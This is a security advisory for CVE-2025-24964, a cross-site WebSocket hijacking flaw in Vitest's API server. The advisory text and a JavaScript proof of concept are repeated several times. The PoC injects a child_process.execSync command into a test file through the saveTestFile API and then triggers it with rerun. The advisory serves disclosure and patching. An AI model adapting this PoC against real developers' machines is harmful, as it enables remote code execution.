CVE-2025-24964

Vitest is a testing framework powered by Vite. Affected versions are subject to arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. This vulnerability can result in remote code execution for users that are using Vitest serve API. This issue has been patched in versions 1.6.1, 2.1.9 and 3.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Vitest is a testing framework powered by Vite. Affected versions are subject to arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. This vulnerability can result in remote code execution for users that are using Vitest serve API. This issue has been patched in versions 1.6.1, 2.1.9 and 3.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Vitest is a testing framework powered by Vite. Affected versions are subject to arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. This vulnerability can result in remote code execution for users that are using Vitest serve API. This issue has been patched in versions 1.6.1, 2.1.9 and 3.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Vitest is a testing framework powered by Vite. Affected versions are subject to arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. This vulnerability can result in remote code execution for users that are using Vitest serve API. This issue has been patched in versions 1.6.1, 2.1.9 and 3.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

TuxCare rebuilt vitest to address 4 CVEs. Fixed in 2.0.5-tuxcare.1.

Root has patched CVE-2025-24964 in the vitest package for Root:npm. Multiple fixed versions available.